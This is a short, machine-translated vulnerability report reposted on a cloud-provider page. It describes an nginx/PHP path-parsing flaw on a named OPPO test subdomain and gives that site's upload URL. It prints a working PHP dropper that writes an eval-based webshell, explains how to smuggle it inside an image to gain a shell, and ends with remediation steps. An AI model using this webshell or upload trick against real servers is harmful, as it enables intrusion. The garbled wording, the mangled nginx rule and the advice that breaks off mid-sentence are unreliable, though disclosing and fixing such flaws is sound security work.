Nginx resolution of OPPO sub-station can be granted permissions (including repair solutions)

Source: Internet
Author: User

URL: http://test.myoppo.com/bluesword/blue_sword.php? T = t_upload & Action = PostMsg

Someone has previously uploaded this file, but the Administrator has completed fixing the vulnerability .. Although the PHP file is forbidden, you can continue to win the file using resolution ..

You have used DNS to win the shell.

DAMA: <? Fputs (fopen ("and. php", "w"), "<? Eval (\ $ _ POST [***]);?> ")?>

After merging a Trojan and an image, upload the trojan directly after adding 1.php to automatically generate and. php.

Solution:
1. Set cgi. fix_pathinfo of php. ini to 0 and restart php. It is the most convenient, but you need to evaluate the impact of modification settings.

2. Add the following content to the nginx vhost configuration and restart nginx. It is also convenient when there are few vhosts.

If ($ fastcgi_script_name ~ \ .. * \/. * Php ){

Return 403;

}

3. Do not upload directories to interpret PHP programs. You do not need to change the webserver. If there are many vhosts and servers, the difficulty will increase sharply in the short term. We recommend that you use

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.